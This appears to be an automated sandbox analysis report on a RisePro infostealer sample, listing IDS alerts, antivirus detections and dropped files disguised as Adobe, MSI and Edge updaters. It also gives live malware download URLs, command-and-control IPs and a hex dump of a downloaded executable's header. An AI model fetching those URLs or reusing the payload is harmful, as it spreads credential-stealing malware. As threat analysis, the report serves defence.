ET TROJAN [ANY.RUN] RisePro TCP (External IP) - Source IP: 193.233.132.47 - Destination IP: 192.168.2.5

Timestamp:	04/25/24-16:29:00.269062
SID:	2046267
Source Port:	50500
Destination Port:	49706
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN RisePro CnC Activity (Outbound) - Source IP: 193.233.132.47 - Destination IP: 192.168.2.5

Timestamp:	04/25/24-16:29:25.947575
SID:	2049660
Source Port:	50500
Destination Port:	49706
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP v.0.x (Get_settings) - Source IP: 192.168.2.5 - Destination IP: 193.233.132.47

Timestamp:	04/25/24-16:29:01.787253
SID:	2046268
Source Port:	49706
Destination Port:	50500
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Activity) - Source IP: 192.168.2.5 - Destination IP: 193.233.132.47

Timestamp:	04/25/24-16:29:24.091237
SID:	2046269
Source Port:	49706
Destination Port:	50500
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://easy2buy.ae/wp-content/upgrade/k.exe$	Avira URL Cloud: Label: malware
Source: https://easy2buy.ae/wp-content/upgrade/k.exe	Avira URL Cloud: Label: malware
Source: http://193.233.132.175/server/k/l2.exe	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\l2[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\JcZ7W4aCxlpc4pOVLwL1.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\k[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\dD08ulq4N33OmW5HQdwT.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053

Multi AV Scanner detection for domain / URL

Source: https://easy2buy.ae:80/wp-content/upgrade/k.exe	Virustotal: Detection: 5%			Perma Link
Source: http://193.233.132.175/server/k/l2.exe	Virustotal: Detection: 19%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	ReversingLabs: Detection: 83%
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Virustotal: Detection: 80%	Perma Link
Source: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe	ReversingLabs: Detection: 83%
Source: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\k[1].exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\k[1].exe	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\l2[1].exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\l2[1].exe	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_c81e728d9d4c2f636f067f89cc14862c\EdgeMS2.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_c81e728d9d4c2f636f067f89cc14862c\EdgeMS2.exe	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\JcZ7W4aCxlpc4pOVLwL1.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\JcZ7W4aCxlpc4pOVLwL1.exe	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\dD08ulq4N33OmW5HQdwT.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\dD08ulq4N33OmW5HQdwT.exe	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Virustotal: Detection: 80%	Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 28%
Source: file.exe	Virustotal: Detection: 22%			Perma Link

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00983EB0 CryptUnprotectData,

0_2_00983EB0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.220.53:443 -> 192.168.2.5:49717 version: TLS 1.2

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009833B0 CreateDirectoryA,FindFirstFileA,	0_2_009833B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A3880 FindFirstFileA,GetLastError,CreateDirectoryA,	0_2_009A3880
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F1F8C FindFirstFileExW,GetLastError,	0_2_008F1F8C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F1FAC FindFirstFileExW,	0_2_008F1FAC

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2049060 ET TROJAN RisePro TCP Heartbeat Packet 192.168.2.5:49706 -> 193.233.132.47:50500
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 193.233.132.47:50500 -> 192.168.2.5:49706
Source: Traffic	Snort IDS: 2046267 ET TROJAN [ANY.RUN] RisePro TCP (External IP) 193.233.132.47:50500 -> 192.168.2.5:49706
Source: Traffic	Snort IDS: 2046268 ET TROJAN [ANY.RUN] RisePro TCP v.0.x (Get_settings) 192.168.2.5:49706 -> 193.233.132.47:50500
Source: Traffic	Snort IDS: 2019714 ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile 192.168.2.5:49709 -> 193.233.132.175:80
Source: Traffic	Snort IDS: 2046269 ET TROJAN [ANY.RUN] RisePro TCP (Activity) 192.168.2.5:49706 -> 193.233.132.47:50500
Source: Traffic	Snort IDS: 2049660 ET TROJAN RisePro CnC Activity (Outbound) 193.233.132.47:50500 -> 192.168.2.5:49706
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 193.233.132.47:50500 -> 192.168.2.5:49722

Source: global traffic

TCP traffic: 192.168.2.5:49706 -> 193.233.132.47:50500

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.22.1Date: Thu, 25 Apr 2024 14:29:10 GMTContent-Type: application/octet-streamContent-Length: 4563640Last-Modified: Fri, 19 Apr 2024 15:26:27 GMTConnection: keep-aliveETag: "66228d23-45a2b8"Accept-Ranges: bytesData Raw: 4d 5a 40 00 01 00 00 00 02 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 57 69 6e 33 32 20 2e 45 58 45 2e 0d 0a 24 40 00 00 00 50 45 00 00 4c 01 03 00 a9 4d d8 61 00 00 00 00 00 00 00 00 e0 00 02 03 0b 01 0e 1d 00 18 00 00 00 5e 19 00 00 00 00 00 c8 80 77 00 00 10 00 00 00 30 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 7d 00 00 02 00 00 6d 1a 46 00 02 00 00 85 00 00 10 00 00 d0 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 80 77 00 c8 00 00 00 00 90 77 00 7c f6 05 00 00 00 00 00 00 00 00 00 00 8a 45 00 b8 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 80 77 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 4d 50 52 45 53 53 31 00 70 77 00 00 10 00 00 00 82 3f 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 e0 2e 4d 50 52 45 53 53 32 32 0c 00 00 00 80 77 00 00 0e 00 00 00 84 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 e0 2e 72 73 72 63 00 00 00 7c f6 05 00 00 90 77 00 00 f8 05 00 00 92 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 76 32 2e 31 39 77 07 ae 80 3f 00 20 05 00 00 6f fd ff ff a3 b7 ff 47 3e 48 15 72 39 61 51 b8 92 28 e6 a3 86 07 f9 ee e4 1e 82 60 06 2e 19 84 3d c1 98 07 18 3f b1 8a c8 06 21 97 5a 9f 17 26 49 ef d7 89 87 a0 7f f8 9c 1a 49 31 38 ab c9 5a 21 b9 88 59 1b ae 73 bb 19 eb 5b 51 58 ea b8 cf f9 ca 61 e9 ea fc d8 84 59 59 a3 81 db 8e 29 e7 76 bc d0 d2 e2 0b 6e c0 ce 18 8d 84 c5 87 7c 29 a6 0c ed c1 5e 66 bf 07 2b e3 8a 3e 03 98 38 34 68 38 32 67 b0 86 8a 3e 2a b4 68 62 5c b0 a7 9b 45 96 28 ad 78 ba dd 89 a6 ce bc d5 40 b7 38 5f c9 39 ec 34 55 10 6d 18 ec 27 8d 73 cb c6 0f d8 05 bc 23 ff 88 ab da b9 96 30 33 fc b8 00 a9 fc 92 1d 4f c4 e7 90 5d 60 12 9b 53 32 db b8 40 23 0f c7 03 0e ab 10 fd b8 f2 6f 46 7e 9e 2a fd 52 a1 c1 51 7f d0 71 be 6f 98 79 6e fb c1 da 4f 41 40 7c 1f ec 12 e5 67 c5 d8 1f 46 b5 b1 d2 97 12 30 90 6a b0 c9 1f 1e a8 e1 11 73 2f 0b e5 48 af 0a 2b 20 30 43 da 21 be 8e ec f6 37 73 ee f1 5e 48 2c 1a 0b be 82 1d a8 20 0e ce 7b 8d f5 c5 f5 e3 da 80 c7 b4 ba 02 87 94 03 b5 02 97 44 af ba e5 e0 f5 bf 72 12 49 97 0b 2c 7c 8b 1d ae 9b bd d0 7f a8 75 84 36 ba bb 9e 15 0a be 45 3e 71 de d7 7d 7f dc d8 99 86 67 a0 c3 29 e4 8b 55 fe e5 4d 45 98 27 d7 91 6a 7d f4 1a 1a c6 e0 91 00 ee f6 37 5e 0a 8d

Source: Joe Sandbox View	IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View	IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View	IP Address: 193.233.132.47 193.233.132.47
Source: Joe Sandbox View	IP Address: 104.26.5.15 104.26.5.15

Source: Joe Sandbox View	ASN Name: FREE-NET-ASFREEnetEU FREE-NET-ASFREEnetEU
Source: Joe Sandbox View	ASN Name: FREE-NET-ASFREEnetEU FREE-NET-ASFREEnetEU

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io

Source: global traffic	HTTP traffic detected: GET /widget/demo/185.152.66.230 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=185.152.66.230 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /wp-content/upgrade/k.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: easy2buy.aeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /server/k/l2.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 193.233.132.175Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /server/k/l2.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 193.233.132.175Cache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00984EB0 recv,setsockopt,recv,recv,recv,recv,recv,recv,recv,__Xtime_get_ticks,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,Sleep,Sleep,

0_2_00984EB0

Source: global traffic	HTTP traffic detected: GET /widget/demo/185.152.66.230 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=185.152.66.230 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /wp-content/upgrade/k.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: easy2buy.aeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /server/k/l2.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 193.233.132.175Cache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: db-ip.com
Source: global traffic	DNS traffic detected: DNS query: easy2buy.ae

Source: file.exe, 00000000.00000003.2074787330.000000000143B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.175/server/k/l2.exe
Source: file.exe, AdobeUpdaterV2.exe.0.dr, l2[1].exe.0.dr, MSIUpdaterV2.exe.0.dr, oobeldr.exe.7.dr, MSIUpdaterV2.exe0.0.dr, JcZ7W4aCxlpc4pOVLwL1.exe.0.dr, AdobeUpdaterV2.exe0.0.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: file.exe, AdobeUpdaterV2.exe.0.dr, l2[1].exe.0.dr, MSIUpdaterV2.exe.0.dr, oobeldr.exe.7.dr, MSIUpdaterV2.exe0.0.dr, JcZ7W4aCxlpc4pOVLwL1.exe.0.dr, AdobeUpdaterV2.exe0.0.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: file.exe, AdobeUpdaterV2.exe.0.dr, l2[1].exe.0.dr, MSIUpdaterV2.exe.0.dr, oobeldr.exe.7.dr, MSIUpdaterV2.exe0.0.dr, JcZ7W4aCxlpc4pOVLwL1.exe.0.dr, AdobeUpdaterV2.exe0.0.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: file.exe, 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: file.exe, 00000000.00000003.2069275480.00000000064F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2060488371.00000000064EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2063654838.00000000060FC000.00000004.00000020.00020000.00000000.sdmp, KxyubmlbrMrsWeb Data.0.dr, _oONYmGn6yA2Web Data.0.dr, Hm8O0mwXDHDOWeb Data.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000003.2069275480.00000000064F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2060488371.00000000064EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2063654838.00000000060FC000.00000004.00000020.00020000.00000000.sdmp, KxyubmlbrMrsWeb Data.0.dr, _oONYmGn6yA2Web Data.0.dr, Hm8O0mwXDHDOWeb Data.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2069275480.00000000064F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2060488371.00000000064EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2063654838.00000000060FC000.00000004.00000020.00020000.00000000.sdmp, KxyubmlbrMrsWeb Data.0.dr, _oONYmGn6yA2Web Data.0.dr, Hm8O0mwXDHDOWeb Data.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2069275480.00000000064F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2060488371.00000000064EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2063654838.00000000060FC000.00000004.00000020.00020000.00000000.sdmp, KxyubmlbrMrsWeb Data.0.dr, _oONYmGn6yA2Web Data.0.dr, Hm8O0mwXDHDOWeb Data.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.4444719572.0000000001475000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2073911947.000000000143F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2073061724.000000000143B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2074787330.000000000143B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3304691476.0000000001474000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/
Source: file.exe, 00000000.00000003.2073911947.000000000143F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444174900.0000000001442000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2073061724.000000000143B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2074787330.000000000143B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=185.152.66.230
Source: file.exe, 00000000.00000003.2073911947.000000000143F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2073061724.000000000143B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3304591521.000000000147C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2074787330.000000000143B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444742082.0000000001481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=185.152.66.230VEY
Source: file.exe, 00000000.00000002.4444174900.0000000001425000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com:443/demo/home.php?s=185.152.66.230P
Source: file.exe, 00000000.00000003.2069275480.00000000064F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2060488371.00000000064EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2063654838.00000000060FC000.00000004.00000020.00020000.00000000.sdmp, KxyubmlbrMrsWeb Data.0.dr, _oONYmGn6yA2Web Data.0.dr, Hm8O0mwXDHDOWeb Data.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2069275480.00000000064F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2060488371.00000000064EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2063654838.00000000060FC000.00000004.00000020.00020000.00000000.sdmp, KxyubmlbrMrsWeb Data.0.dr, _oONYmGn6yA2Web Data.0.dr, Hm8O0mwXDHDOWeb Data.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2069275480.00000000064F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2060488371.00000000064EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2063654838.00000000060FC000.00000004.00000020.00020000.00000000.sdmp, KxyubmlbrMrsWeb Data.0.dr, _oONYmGn6yA2Web Data.0.dr, Hm8O0mwXDHDOWeb Data.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000000.00000002.4445435690.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easy2buy.ae/
Source: file.exe, 00000000.00000002.4445612966.0000000006115000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2074787330.000000000143B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easy2buy.ae/wp-content/upgrade/k.exe
Source: file.exe, 00000000.00000003.2073911947.000000000143F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444174900.0000000001442000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2073061724.000000000143B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2074787330.000000000143B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easy2buy.ae/wp-content/upgrade/k.exe$
Source: file.exe, 00000000.00000003.2283281296.0000000006114000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3304638888.0000000006115000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4445612966.0000000006115000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easy2buy.ae:80/wp-content/upgrade/k.exe
Source: file.exe, 00000000.00000002.4444174900.00000000013E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2073911947.000000000143F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444174900.0000000001418000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444174900.0000000001425000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2073061724.000000000143B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2074787330.000000000143B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3304691476.0000000001474000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/
